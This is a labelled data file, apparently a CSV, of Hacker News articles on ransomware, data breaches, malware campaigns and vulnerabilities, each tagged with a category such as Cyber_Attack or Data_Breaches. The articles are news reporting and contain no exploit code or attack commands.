Ransomware Attack Caused Power Outages in the Biggest South African City,https://thehackernews.com/2019/07/cyberattack-power-outage.html,"Yesterday, some residents of Johannesburg, the largest city in South Africa, were left without electricity after the city's power company got attacked by a ransomware virus.

City Power, the company responsible for powering South Africa's financial capital Johannesburg, confirmed Thursday on Twitter that it had been hit by a Ransomware virus that had encrypted all of its databases, applications, and network.

The attack prevented prepaid customers from buying electricity units, upload invoices when making payments, or access the City Power's official website, eventually leaving them without power.

""Please note that the virus hit us early Thursday morning, compromising our database and other software, impacting most of our applications and networks,"" the city government said in a tweet.

However, the company has also ensured its customers that none of their details were compromised in the cyber attack.

At the time of writing, the company confirmed they have restored electricity supply in many areas and also most of the critical applications, including the prepaid vending system responsible for enabling its customers to buy electricity.

However, customers seeking to access the City Power website to log faults are still not able to do so. They are requested to log calls by their mobile phones using citypower.mobi.

Depending on the type and severity of the cyberattack, it is believed that the complete clean up of the affected services and networks could take weeks.

Also, it could cost millions of dollars—just like the City of Baltimore recently spent $5,310,546 in hiring security consultant firms and upgrading its infrastructure following a ransomware attack that shut down the majority of its servers.

The city government did not provide any details on the type of ransomware virus that hit the power company, or if the company has a backup for critical files encrypted by the malware.

""Customers should not panic as none of their details were compromised,"" the city government said Thursday afternoon. ""We apologize for the inconvenience caused to the people of the City of Joburg. Please be patient with us, and we expect to have everything back in order by the end of Thursday.""

Johannesburg is not the only one that was recently hit by a ransomware attack. A growing number of cities has targeted in the last few months with ransomware as cybercriminals aim municipalities around the world.

Last month, ransomware viruses hit two cities in Florida that made large ransom payments to gain back access to city files that were encrypted in the attacks—these cities include Riviera Beach City ($600,000) and Lake City ($500,000) in Florida.

However, federal authorities and cybersecurity experts have always advised victims not to pay ransoms since it encourages criminals, and also there's no guarantee of files or computer systems being completely restored.

Instead of paying the ransom, organizations and companies should consider having robust backups of their important and required files and data in place as well as educating their employees to avoid being a victim of such cyber attacks.
",Cyber_Attack
Rapid7 Source Code Breached in Codecov Supply-Chain Attack,https://thehackernews.com/2021/05/rapid7-source-code-breached-in-codecov.html,"Cybersecurity company Rapid7 on Thursday revealed that unidentified actors improperly managed to get hold of a small portion of its source code repositories in the aftermath of the software supply chain compromise targeting Codecov earlier this year.
""A small subset of our source code repositories for internal tooling for our [Managed Detection and Response] service was accessed by an unauthorized party outside of Rapid7,"" the Boston-based firm said in a disclosure. ""These repositories contained some internal credentials, which have all been rotated, and alert-related data for a subset of our MDR customers.""
On April 15, software auditing startup Codecov alerted customers that its Bash Uploader utility had been infected with a backdoor as early as January 31 by unknown parties to gain access to authentication tokens for various internal software accounts used by developers. The incident didn't come to light until April 1.
""The actor gained access because of an error in Codecov's Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script,"" the company noted, adding the adversary carried out ""periodic, unauthorized alterations"" to the code that enabled them to exfiltrate information stored in its users' continuous integration (CI) environments to a third-party server.
Rapid7 reiterated there's no evidence that other corporate systems or production environments were accessed, or that any malicious changes were made to those repositories. The company also added its use of the Uploader script was limited to a single CI server that was used to test and build some internal tools for its MDR service.
As part of its incident response investigation, the security firm said it notified a select number of customers who may have been impacted by the breach. With this development, Rapid7 joins the likes of HashiCorp, Confluent, and Twilio who have publicly confirmed the security event to date.
Codecov customers who have used the Bash Uploaders between January 31, 2021 and April 1, 2021 are recommended to re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes.

",Cyber_Attack
FBI's Cyber Task Force Identifies Stealthy FF-RATs used in Cyber Attack,https://thehackernews.com/2015/09/stealthy-malware-cyber-attack.html,"In both April and June this year, a series of cyber attacks was conducted against the United States Office of Personnel Management (OPM).

These attacks resulted in 21 million current and former Federal government employees' information being stolen.

After months of investigation, the FBI's Cyber Task Force identified several Remote Access Tools (RATs) that were used to carry out the attack. One of the more effective tools discovered is named 'FF-RAT'.

FF-RAT evades endpoint detection through stealth tactics, including the ability to download DLLs remotely and execute them in memory only.

Hackers use RATs to gain unlimited access to infected endpoints. Once the victim's access privilege is acquired, it is then used for malware deployment, command and control (C&C) server communication, and data exfiltration.

Most Advanced Persistent Threat (APT) attacks also take advantage of RAT functionality for bypassing strong authentication, reconnaissance, spreading infection, and accessing sensitive applications to exfiltrate data. In order to mitigate these types of attacks, it is key that you have tools and methods in place for early detection.

It's important these attacks are identified in time for you to isolate infected assets and remediate issues before they spread or move to a second stage (deploying additional malware, stealing important data, acting as its own C&C server, etc.)

How this affects you


When deploying a RAT, a hacker's primary goal is to create a backdoor to infected systems so they can gain complete control over that system.
When a RAT is installed on your system, the attacker is then able to view, change, or manipulate data on the infected machine. This leaves you open to your, and possibly your clients', sensitive data being stolen.
Often, a single RAT is deployed as a pivot point to deploy additional malware in the local network or use the infected system to host malware for remote retrieval.


How AlienVault Helps

AlienVault Labs, AlienVault's team of security researchers, continue to perform cutting edge research on these types of threats.

They collect large amounts of data and then create expert threat intelligence correlation directives, IDS signatures, vulnerability audits, asset discovery signatures, IP reputation data, data source plugins, and report templates.

Activity from FF-RAT can be detected through IDS signatures and a correlation rule that the Labs team has released to the AlienVault Unified Security Management (USM) platform.

Learn more about AlienVault USM:

Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)

",Cyber_Attack
"Air Canada Suffers Data Breach — 20,000 Mobile App Users Affected",https://thehackernews.com/2018/08/air-canada-data-breach.html,"Air Canada has confirmed a data breach that may have affected about 20,000 customers of its 1.7 million mobile app users.

The company said it had ""detected unusual log-in behavior"" on its mobile app between August 22 and 24, during which the personal information for some of its customers ""may potentially have been improperly accessed.""

The exposed information contains basic information such as customers' names, email addresses, phone numbers, and other information they have added to their profiles.

Passport Numbers Exposed in Air Canada Data Breach

However, what's worrisome?

Hackers could have also accessed additional data including customer's passport number, passport expiration date, passport country of issuance and country of residence, Aeroplan number, known traveler number, NEXUS number, gender, date of birth, and nationality, if users had this information saved in their profile on the Air Canada mobile app.

The airline assured its customers that credit card information saved to their profile was ""encrypted and stored in compliance with security standards set by the payment card industry or PCI standards,"" and therefore, are protected.

However, Air Canada still recommended affected customers to always monitor their credit card transactions and contact their financial services provider immediately if they found any unusual or unauthorized activity.

Reset Your Password

The company estimates about 1% of its 1.7 million people—or about 20,000 users in total—who use its mobile app may have been affected by the security breach.

Although currently, it is not clear how the data breach occurred, if it was a direct breach of Air Canada's systems, or if it was due to the reuse of passwords from other sites, the airline encourages users to reset their passwords using improved password guidelines, which says passwords should be at least 10 characters long and contain one symbol.

However, as a precaution, the airline has locked down all 1.7 million accounts until all of its customers—even those whose information was not exposed in the breach—change their passwords.

Air Canada has contacted potentially affected customers directly by email starting August 29 to tell them if their account has potentially been accessed by hackers improperly.


",Cyber_Attack
Hola — A widely popular Free VPN service used as a Giant Botnet,https://thehackernews.com/2015/05/hola-widely-popular-free-vpn-service.html,"The bandwidth of Millions of users of a popular free VPN service is being sold without their knowledge in an attempt to cover the cost of its free service, which could result in a vast botnet-for-sale network.

""Hola,"" a free virtual private network, is designed to help people abroad watch region restricted shows like American Netflix, and other streaming United States media.

Hola is selling users' bandwidth:

Hola is easy-to-use browser plugin available in the Google Chrome Store with currently more than 6 Million downloads. But, unfortunately, Hola could be used by hackers to maliciously attack websites, potentially putting its users at risk of being involved in illegal or abusive activities.

Hola uses a peer-to-peer system to route users' traffic. So, if you are in Denmark and wants to watch a show from America, you might be routed through America-based user's Internet connections.

However, Hola is not leaving a chance to make money out of a free service. It has been selling access to users' bandwidth for profit to a third-party service called Luminati, which then re-sells the connections, Hola founder Ofer Vilenski confirmed.

Luminati is one of the world's largest VPN networks that lets users buy access to the Hola network for a fee, in case if users need a secure way to route commercial traffic without revealing their identity.

Giant Botnet

This simply means any user who makes use of the free version of Hola is having their connection sold without even their knowledge, as Motherboard says, ""turning you and other Hola users into a node of what could be described as a voluntary botnet.""

This isn't known until 8chan message board administrator Fredrick Brennan posted a message about the service, claiming Luminati and Hola users' computers have been used within a botnet to attack and take down his website.

Using Hola and Luminati services to take down websites:

Earlier this week Brennan website was attacked by thousands of ""legitimate-looking POST requests"" within 30 seconds, ""representing a 100x spike over peak traffic and crashing PHP-FPM,"" Brennan wrote in a blog post.

This denial of service (DoS) sort of attack was actually originated from a well-known spammer called ""Bui"", who later told Brennan that he had made use of Hola's Luminati service to carry out the attack against his web site.

Here's What Hola want's to say:

Hola's site explains in Faq that the service might be used for ""commercial"" purposes, but there was no mention of Luminati, which has been working with the company since at least October 2914. However, Hola updated its FAQ with a fuller explanation later.
""Hola is a managed and supervised network and thus any illegal activity such as CP, etc. would be reported to the authorities with the real IP of the user,"" the company wrote.
Yet that wouldn't prevent users from getting initially suspected as criminal hackers.

Vilenski said that the explanation about the service was actually there in a ""different form,"" pointing to the old FAQ, which states, ""if you would like to use Hola for commercial use contact us at business@hola.org for a quote.""

However, Vilenski himself admitted that most of the Hola users are probably not aware of it. According to him, it is not because the company is trying not to show its users, but it is because most of the users just don't care about it. ""They want a good service, it works well, and it does not screw them up,"" he added.

This again shows that if there is something free, there is often a catch. No doubt, free services attract everyone, but spending few dollars a month on VPNs could safeguard you from various online threats. Also, it's good practice to read details before installing extensions or services.

",Cyber_Attack
Advanced Malware targeting Internet of the Things and Routers,https://thehackernews.com/2016/03/internet-of-thing-malware.html,"Anything connected to the Internet could be hacked and so is the Internet of Things (IoTs).

The market fragmentation of IoTs or Internet-connected devices is a security nightmare, due to poor security measures implemented by their vendors.

Now, the researchers at security firm ESET have discovered a piece of Malware that is targeting embedded devices such as routers, and other connected devices like gateways and wireless access points, rather than computers or smartphones.

Dubbed KTN-Remastered or KTN-RM, the malware is a combination of both Tsunami (or Kaiten) as well as Gafgyt.

Tsunami is a well-known IRC (Internet Relay Chat) bot used by miscreants for launching Distributed Denial of Service (DDoS) attacks while Gafgyt is used for Telnet scanning.

KTN-RM, which researcher dubbed 'Remaiten,' features an improved spreading mechanism by carrying downloader executable binaries for embedded platforms and other connected devices.

How Does the Linux Malware Work?

The malware first performs Telnet scanning to look for routers and smart devices. Once the connection is made, the malware tries to guess the login credentials in an effort to take over weakly-secured devices.

If it successfully logs in, the malware will issue a shell command to download bot executable files for multiple system architectures before running them on the compromised networking kit.
""This is a simple but noisy way of ensuring that the new victim gets infected because it is likely that one of the binaries is for the current platform,"" explained ESET Malware Researcher Michal Malík. ""It targets mainly those with weak login credentials.""
The malware, version 2.0, also has a welcome message for those who might try to neutralise its threat, containing a reference to the Malware Must Die blog.

Perhaps it is a way to take revenge, as Malware Must Die has published extensive details about Gafgyt, Tsunami and other members of this Malware family.

For more technical details about KTN-RM or Remaiten, you can head on to ESET's official blog post published Wednesday.

",Cyber_Attack
NoxPlayer Supply-Chain Attack is Likely the Work of Gelsemium Hackers,https://thehackernews.com/2021/06/noxplayer-supply-chain-attack-is-likely.html,"A new cyber espionage group named Gelsemium has been linked to a supply chain attack targeting the NoxPlayer Android emulator that was disclosed earlier this year.
The findings come from a systematic analysis of multiple campaigns undertaken by the APT crew, with evidence of the earliest attack dating back all the way to 2014 under the codename Operation TooHash based on malware payloads deployed in those intrusions.
""Victims of these campaigns are located in East Asia as well as the Middle East and include governments, religious organizations, electronics manufacturers and universities,"" cybersecurity firm ESET said in an analysis published last week.
""Gelsemium's whole chain might appear simple at first sight, but the exhaustive configurations, implanted at each stage, modify on-the-fly settings for the final payload, making it harder to understand.""
Targeted countries include China, Mongolia, North and South Korea, Japan, Turkey, Iran, Iraq, Saudi Arabia, Syria, and Egypt.
Since its origins in the mid-2010s, Gelsemium has been found employing a variety of malware delivery techniques ranging from spear-phishing documents exploiting Microsoft Office vulnerabilities (CVE-2012-0158) and watering holes to a remote code execution flaw in Microsoft Exchange Server — likely CVE-2020-0688, which was addressed by the Windows maker in June 2020 — to deploy the China Chopper web shell.
According to ESET, Gelsemium's first stage is a C++ dropper named ""Gelsemine,"" which deploys a loader ""Gelsenicine"" onto the target system, which, in turn, retrieves and executes the main malware ""Gelsevirine"" that's capable of loading additional plug-ins provided by the command-and-control (C2) server.
The adversary is said to have been behind a supply chain attack aimed at BigNox's NoxPlayer, in a campaign dubbed ""Operation NightScout,"" in which the software's update mechanism was compromised to install backdoors such as Gh0st RAT and PoisonIvy RAT to spy on its victims, capture keystrokes, and gather valuable information.
""Victims originally compromised by that supply chain attack were later being compromised by Gelsemine,"" ESET researchers Thomas Dupuy and Matthieu Faou noted, with similarities observed between the trojanized versions of NoxPlayer and Gelsemium malware.
What's more, another backdoor called Chrommme, which was detected on an unnamed organization's machine also compromised by the Gelsemium group, used the same C2 server as that of Gelsevirine, raising the possibility that the threat actor may be sharing the attack infrastructure across its malware toolset.
""The Gelsemium biome is very interesting: it shows few victims (according to our telemetry) with a vast number of adaptable components,"" the researchers concluded. ""The plug-in system shows that developers have deep C++ knowledge.""

",Cyber_Attack
"TalkTalk Admits Customer Data Breach, warns of Scam Calls",https://thehackernews.com/2015/02/TalkTalk-hack-data-breach.html,"TalkTalk, one of the biggest UK-based phone, TV and Internet service provider with 4 million customers, has admitted it suffered a major Data Breach.

TalkTalk said customer information was accessed after a breach at a third-party company, in which names, addresses, phone numbers and TalkTalk account numbers have been stolen.

According to the report, TalkTalk customers began reporting problems on the TalkTalk forums late last year. Whereas, in some cases, hackers used customer details to scam bank information from the victims.

TalkTalk has confirmed that ""a small, but nonetheless significant"" number of customers have had their account details compromised by hackers, claiming to be from TalkTalk in order to trick them into handing over their banking details.
""At TalkTalk we take our customers' security very seriously and we take numerous measures to help keep our customers safe,"" TalkTalk spokesperson said in a statement. ""Yet sadly in every sector, criminal organisations using phone and email scams are on the rise.""
""As part of our ongoing approach to security we continually test our systems and processes ... following further investigation into these reports, we have now become aware that some limited, non-sensitive information about some customers could have been illegally accessed in violation of our security procedures.""
So far, it isn't clear that how many TalkTalk customers' data have been breached, but the company remains confident and reassure its customers that ""no sensitive data"", like a customer's date of birth, bank or credit card details has been compromised, and also that no TalkTalk Business customers are affected by the breach.

TalkTalk says it has taken ""urgent and serious steps"" to secure its systems and, meanwhile, warns its customers to be wary of any suspected phone or email correspondence purporting to be from TalkTalk.

A TalkTalk customer, Graeme Smith from County Durham spoke to the Guardian, reporting that the cyber criminals were able to steal almost £3,000 out of his Santander bank account. Smith said it was too late when he realised there was a problem.

The company also says that it has begun legal action against those third-party that had contacted the affected customers to reveal their banking details.

",Data_Breaches
[POC] Buffer Overflow Vulnerability in GOM Media Player v. 2.1.37,https://thehackernews.com/2012/03/poc-buffer-overflow-vulnerability-in.html,"Buffer Overflow Vulnerability in GOM Media Player v. 2.1.37
Ucha Gobejishvili (longrifle0x) from The Vulnerability Laboratory Research Team discover Buffer Overflow Vulnerability in GOM Media Player v. 2.1.37. GOM Player (Gretech Online Movie Player) is a 32/64-bit media player for Microsoft Windows, distributed by the Gretech Corporation of South Korea.

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity.

In this case, The vulnerability can be exploited by local or remote attackers and Vulnerable module is GomU+0x125cb7.

Proof of Concept:
1) Download & open the software client
2) Click open ==> Url..
3) Put vulnerability code
4) now you will see result
In buffer overflow attacks, the extra data may contain codes designed to trigger actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information.

",Vulnerability
DocuSign Data Breach Led to Targeted Email Malware Campaign,https://thehackernews.com/2017/05/DocuSign-data-breach.html,"While we all were busy in the WannaCry ransomware menace, two separate data breaches have been reported, one in DocuSign, a major provider of electronic signature technology, and another in BELL, Canada's largest telecommunications company.

In a notice on its website on Tuesday, DocuSign confirmed a breach at one of its email systems when investigating the cause of an increase in DocuSign-impersonating phishing emails.

""A malicious third party had gained temporary access to a separate, non-core system that allows us to communicate service-related announcements to users via email,"" DocuSign said in the announcement.

What Happened?

An unknown hacker or group of hackers managed to breach one of the electronic signature technology provider's email systems and steal a database containing the email addresses of DocuSign customers.

The attackers then used the stolen data to conduct an extensive phishing campaign to target the DocuSign's users over the past week.

The phishing email masqueraded as documents sent from another company with the subject line ""Completed *company name* – Accounting Invoice *number* Document Ready for Signature,"" needing a digital signature from the recipient.

The emails, sent from domains including dse@docus.com, included a downloadable Microsoft Word document, which when clicked, installs ""macro-enabled-malware"" on the victim's computers.

What type of information?

The company said only email addresses of its customers had been accessed in the breach.

However, DocuSign assured its customers that no names, physical addresses, passwords, social security numbers, credit card information or any other information had been accessed by the attackers.
""No content or any customer documents sent through DocuSign's eSignature system was accessed; and DocuSign's core eSignature service, envelopes and customer documents, and data remain secure,"" the company stressed.

How many victims?

The number of victims affected by the phishing campaign has not been confirmed, but DocuSign encourages its customers to use the DocuSign Trust Center to help them protect themselves and their employees from phishing attacks.

""Right now we are still acting on the results of our ongoing investigation and cannot comment on those details,"" the company said.

What is DocuSign doing?

In an attempt to protect its customers, DocuSign has immediately restricted unauthorized access to its system and placed further security controls in place to hardened the security of its systems.

The company is also actively working with law enforcement authorities on the investigation of this matter.

What should DocuSign customers do?

DocuSign recommended its users to delete any email with the following subject line:

Completed: [domain name] – Wire transfer for recipient-name Document Ready for Signature
Completed: [domain name/email address] – Accounting Invoice [Number] Document Ready for Signature.

If you receive any suspicious email, you should forward it to the company's spam address, advised DocuSign.

Also, if the email looks like it has come from DocuSign, just do not respond to that email or click on any link provided in the message.

Instead, access your documents directly by visiting DocuSign official website, and entering the unique security code provided at the bottom of every legit DocuSign email.

The company also informed its users that DocuSign never asks recipients to open any PDF, Office document or ZIP file in an email. Last but not the least, always make sure your antivirus software is up-to-date.

",Malware
CredSSP Flaw in Remote Desktop Protocol Affects All Versions of Windows,https://thehackernews.com/2018/03/credssp-rdp-exploit.html,"A critical vulnerability has been discovered in Credential Security Support Provider protocol (CredSSP) that affects all versions of Windows to date and could allow remote attackers to exploit RDP and WinRM to steal data and run malicious code.

CredSSP protocol has been designed to be used by RDP (Remote Desktop Protocol) and Windows Remote Management (WinRM) that takes care of securely forwarding credentials encrypted from the Windows client to the target servers for remote authentication.

Discovered by researchers at Cybersecurity firm Preempt Security, the issue (CVE-2018-0886) is a logical cryptographic flaw in CredSSP that can be exploited by a man-in-the-middle attacker with Wi-Fi or physical access to the network to steal session authentication data and perform a Remote Procedure Call attack.

When a client and server authenticate over RDP and WinRM connection protocols, a man-in-the-middle attacker can execute remote commands to compromise enterprise networks.
""An attacker which have stolen a session from a user with sufficient privileges could run different commands with local admin privileges. This is especially critical in case of domain controllers, where most Remote Procedure Calls (DCE/RPC) are enabled by default,"" says Yaron Zinar, lead security researcher for Preempt.
""This could leave enterprises vulnerable to a variety of threats from attackers including lateral movement and infection on critical servers or domain controllers.""
Since RDP is the most popular application to perform remote logins and almost all enterprise customers are using RDP, it makes most networks vulnerable to this security issue.
Preempt Researchers discovered and reported this previously unknown remote code execution vulnerability to Microsoft in August last year, but the tech giant issued a fix for the protocol just today as part of its Patch Tuesday release—that's almost after 7 months of reporting.

To defend yourself and your organizations against the CredSSP exploit, users are recommended to patch their workstations and servers using available updates from the Microsoft.

Though researchers also warned that patching alone is not sufficient to prevent this attack, IT professionals are also required to make some configuration to apply the patch and be protected.

Blocking the relevant application ports including RDP and DCE/RPC would also thwart the attack, but researchers say this attack could even be implemented in different ways, using different protocols.

Therefore, to better protect your network, it is a good idea to decrease the use of privileged account as much as possible and instead use non-privileged accounts whenever applicable.

As part of March 2018 Patch Tuesday, Microsoft has also released security patches for its other products, including Microsoft IE and Edge browser, Windows OS, Microsoft Office, PowerShell, Core ChakraCore, as well as Adobe Flash player.

",Vulnerability
Beware! New Android Malware Infected 2 Million Google Play Store Users,https://thehackernews.com/2017/04/android-malware-playstore.html,"Initially thought to be 600,000 users, the number of Android users who have mistakenly downloaded and installed malware on their devices straight from Google Play Store has reached 2 Million.

Yes, about 2 Million Android users have fallen victim to malware hidden in over 40 fake companion guide apps for popular mobile games, such as Pokémon Go and FIFA Mobile, on the official Google Play Store, according to security researchers from Check Point.

Dubbed FalseGuide by the Check Point researchers, the malware creates a ""silent botnet out of the infected devices"" to deliver fraudulent mobile adware and generate ad revenue for cybercriminals.

Nearly 2 Million Android Users Infected!

While initially it was believed that the oldest instance of FalseGuide was uploaded to the Google Play in February and made its way onto over 600,000 devices within two months, further in-depth analysis by researchers revealed more infected apps which date back to November 2016.
""Since April 24, when the article below was first published, Check Point researchers learned that the FalseGuide attack is far more extensive than originally understood,"" Check Point researchers wrote in a blog post.
""The apps were uploaded to the app store [Google Play Store] as early as November 2016, meaning they hid successfully for five months, accumulating an astounding number of downloads.""

Russian connection with FalseGuide

Check Point researchers discovered five additional apps containing the FalseGuide malware on Google Play Store, developed by ""Anatoly Khmelenko"" (translated from Russian Анатолий Хмеленко).

Also, the first batch of malicious apps was submitted under the Russian names of two fake developers, Sergei Vernik and Nikolai Zalupkin, which suggests the malware is of Russian origin.

FalseGuide attempts to turn infected devices into a botnet that could allow its operator to control the devices without the knowledge of the device owners.

Here's How FalseGuide Works:
While downloading to the victim's phone, FalseGuide requests administrative permissions to the device in an attempt to avoid being deleted by the user.

The malware then registers itself with Firebase Cloud Messaging – a cross-platform messaging service that allows app developers to send messages and notifications.

Once subscribed to this service, FalseGuide can allow the attackers to send messages containing links to additional malware and install them to the infected device, enabling attackers to display illegitimate pop-up ads out of context and generate revenue.

Depending on their objectives, the attackers could also inject highly malicious code into an infected device to root it, conduct a Distributed Denial of Service (DDoS) attack, or even penetrate private networks.

Google Removed the Malware hidden Apps, but are you Clean?

Check Point has provided a full list of malicious apps hiding FalseGuide, which posed as guides for FIFA Mobile, Criminal Case, Super Mario, Subway Surfers, Pokemon Go, Lego Nexo Knights, Lego City My City, Ninjago Tournament, Rolling Sky, Amaz3ing Spider-Man, Drift Zone 2, Dream League Soccer, and many more.

Check Point researchers notified Google about FalseGuide in February, after which the company silently removed the malware apps from the Play Store.

But despite being removed, the malicious apps are likely still active on a number of devices, leaving Android users open to cyber attacks.
""Mobile botnets are a growing trend since early last year, growing in both sophistication and reach,"" CheckPoint said. ""This type of malware manages to infiltrate Google Play due to the non-malicious nature of the first component, which only downloads the actual harmful code.""

How to Protect yourself against such Malware

There are standard protection measures you need to follow to remain unaffected:

Always download apps which are from trusted and verified developers and stick to trusted sources, like Google play Store and the Apple App Store.
Always verify app permissions before installing apps. If any app is asking more than what it is meant for, just do not install it.
Keep a good antivirus app on your device that can detect and block such malware before it can infect your device. Always keep the app up-to-date.
Do not download apps from third party source. Although in this case, the app is being distributed through the official Play Store, most often such malware are distributed via untrusted third-party app stores.
Avoid unknown and unsecured Wi-Fi hotspots and Keep your Wi-Fi turned OFF when not in use.
Be careful which apps you give administrative rights to. Admin rights are powerful and can give an app full control of your device.
Never click on links in SMS or MMS sent to your mobile phone. Even if the email looks legit, go directly to the website of origin and verify any possible updates.

",Malware
Grocery Stores 'Supervalu' and 'Albertsons' Hacked for Credit Card Data,https://thehackernews.com/2014/08/grocery-stores-supervalu-and-albertsons_17.html,"Albertson's and SuperValu - Two nation's most popular supermarket store chains announced last weekend that a data breach may have revealed the credit and debit card information of their customers at a number of grocery store locations in more than 18 states.

Minnesota-based Supervalu announced that an unknown number of its customers who used their payment cards in around 180 stores between June 22 and July 17 may have had payment card data compromised by attackers who gained access to the Supervalu computer network that processes card transactions.

The affected information may includes names, payment card numbers, expiration dates, and other numerical information from cards used at POS devices.
""The Company has not determined that any such cardholder data was in fact stolen by the intruder, and it has no evidence of any misuse of any such data, but is making this announcement out of an abundance of caution,"" SuperValu said in a statement.
The massive data breach impacted Supervalu's other brands operating under the names Cub Foods, Farm Fresh, Hornbacher's, Shop 'n Save, and Shoppers Food and Pharmacy in various parts of the country, including several in Minnesota, Virginia, Illinois, Missouri, Maryland and North Carolina.

In addition to Supervalu, the breach also hit the Albertsons, Acme Markets, Jewel-Osco, Shaw's and Star Markets brands in about 24 states.

AB Acquisition LLC – the parent company of Albertsons, ACME Markets, Jewel-Osco, and Shaw's and Star Market – announced a similar breach on Thursday that, according to company, occurred between the same timeframe.

The company has notified the appropriate law enforcement agencies and is working with Supervalu, who it identifies as ""its third party IT services provider,"" to investigate the data breach.
""Third-party data forensics experts are supporting an ongoing investigation. AB Acquisition has not determined that any cardholder data was in fact stolen, and currently it has no evidence of any misuse of any such data,"" AB Acquisition LLC said in a statement.
According to AB Acquisition LLC, Albertsons stores in Southern California, Idaho, Montana, North Dakota, Nevada, Oregon, Washington, Wyoming and Southern Utah were impacted by this data breach. However, stores in Arizona, Arkansas, Colorado, Florida, Louisiana, New Mexico, Texas and our two Super Saver Foods Stores in Northern Utah were not affected.

Moreover, ACME Markets in Pennsylvania, Maryland, Delaware and New Jersey; Jewel-Osco stores in Iowa, Illinois and Indiana; and Shaw's and Star Markets stores in Maine, Massachusetts, Vermont, New Hampshire and Rhode Island were all affected by this incident.

The companies did not revealed how the card data were stolen, but given the recent outbreak of point-of-sale (POS) hacks at the third-largest U.S. Retailer Target and other major retailers such as Neiman Marcus, Michaels Store, the POS systems would be a likely attack vector.

Still, it is unclear exactly how many number of payment cards were impacted in the data breaches, but both companies are taking necessary steps to notify the affected customers, as well as offering them one year of free credit monitoring services, as of the data breach standard.

SuperValu said in a statement that the company ""took immediate steps to secure the affected part of its network. Supervalu believes the intrusion has been contained and is confident that its customers can safely use their credit and debit cards in its stores.""

Both companies say they have no evidence that stolen payment card information is being misused at this time, but if the data was indeed stolen, it likely would turn up on underground markets for sale.

",Data_Breaches
Another Facebook Bug Could Have Exposed Your Private Information,https://thehackernews.com/2018/11/facebook-vulnerability-hack.html,"Another security vulnerability has been reported in Facebook that could have allowed attackers to obtain certain personal information about users and their friends, potentially putting the privacy of users of the world's most popular social network at risk.

Discovered by cybersecurity researchers from Imperva, the vulnerability resides in the way Facebook search feature displays results for entered queries.

According to Imperva researcher Ron Masas, the page that displays search results includes iFrame elements associated with each outcome, where the endpoint URLs of those iFrames did not have any protection mechanisms in place to protect against cross-site request forgery (CSRF) attacks.

It should be noted that the newly reported vulnerability has already been patched, and unlike previously disclosed flaw in Facebook that exposed personal information of 30 million users, it did not allow attackers to extract information from mass accounts at once.

How Does the Facebook Search Vulnerability Work?

To exploit this vulnerability, all an attacker needs to do is simply tricking users into visiting a malicious site on their web browser where they have already logged into their Facebook accounts.
The malicious site contains a javascript code that will get executed in the background as soon as the victim clicks anywhere on that page.

""For this attack to work we need to trick a Facebook user to open our malicious site and click anywhere on the site, (this can be any site we can run JavaScript on) allowing us to open a popup or a new tab to the Facebook search page, forcing the user to execute any search query we want,"" Masas explained in a blog post published today.

As demonstrated by Masas in the video shown below, the JavaScript code opens a new tab or window with a Facebook URL that runs certain predefined search queries and measures the result to extract targeted information.

Searching something on Facebook seems less lucrative, especially when the exploit code returns the result in just yes or no.

""The attack actually leaks the number of search results for any search query on the currently logged Facebook account. The most basic usage is to make boolean queries like 'photos of me from Iceland',"" Masas told The Hacker News.
But if used correctly, Facebook's search feature could be exploited to extract sensitive information related to your Facebook account, such as checking:

If you have a friend with a specific name or a keyword in his/her name
If you like a particular page or are a member of a specific group
If you have a friend who likes a particular page
If you have taken photos in a certain location or country
If you have ever posted a photo taken at certain places/countries
If you have ever posted an update on your timeline containing a specific text/keyword
If you have Islamic friends

And so on… any custom query you can come up with.
""This process can be repeated without the need for new popups or tabs to be open since the attacker can control the location property of the Facebook window,"" Masas added. ""This is especially dangerous for mobile users, since the open tab can easily get lost in the background, allowing the attacker to extract the results for multiple queries, while the user is watching a video or reading an article on the attacker's site.""
In short, the vulnerability exposed interests and activities of targeted users and their friends even if their privacy settings are set in a way that this information can only be visible to them or their friends.

Imperva responsibly reported the bug to Facebook through the company's vulnerability disclosure program in May 2018, and the social network giant resolved the issue days later by adding CSRF protections.

Almost three months ago, Masas also reported an impressive web browser vulnerability that exposed everything other web platforms, like Facebook and Google, knows about you. He also released a proof of concept exploit of the bug.

",Data_Breaches
"Apple Devices Hacked by 'Oleg Pliss', held to Ransom",https://thehackernews.com/2014/05/apple-devices-hacked-by-oleg-pliss-held.html,"From last few years Ransomware malwares are targeting Windows users Worldwide and experts predicted that it was just a matter of time until ransomware would hit mobile devices and other Desktop operating systems like Mac, iOS, Android etc.

A Few weeks back we reported about a Ransomware malware campaign which is targeting Android mobile users. Such Malware first try to trick users into downloading it and then demanding payment to restore user control of the device.

This morning reports came out that cybercriminals have targeted a large number of users of Apple's iCloud connected devices with a sophisticated Ransomware in Australia.

The owners of iPhone, Mac and iPads are finding their devices locked remotely through iCloud and a message originating in Apple's find my device service that states ""Device hacked by Oleg Pliss"".

One user wrote on Apple Support Forum, ""I went to check my phone and there was a message on the screen (it's still there) saying that my device(s) had been hacked by 'Oleg Pliss' and he/she/they demanded $100 USD/EUR (sent by paypal to lock404(at)hotmail.com) to return them to me.""

The Locked Devices are prompting to send up to US$100 to a Paypal account of the suspected hacker in order to have them unlocked. But we urge our users not to send money to the given account, as PayPal spokesman confirmed that, 'There's no PayPal account linked to hacker email addr and any customer who has sent money will be refunded'

HOW HACKERS LOCKED THE DEVICES?
This case is quite different because phones are not infected by any malicious application, but rather hackers allegedly hijacked Apple's 'Find My iPhone' feature, which allowed them to remotely lock iOS and Mac devices and send messages demanding ransom money.

It appears that Australian hackers are using compromised iCloud accounts, exposed in some recent security breaches and the hacked accounts were likely not using two-step verification. But those users who have set Passcode for a two-step verification on their Apple devices haven't fallen victim to this attack, because just account password will not be sufficient for hackers to gain device access.

Users can still recover their device by resetting the device in ""recovery mode"", but in this process you will lose all your apps and data stored on the device.

Apple has not yet officially commented on the issue but users are recommended to turn on two-step verification for their Apple ID with the directions available on Apple's support page.

",Malware
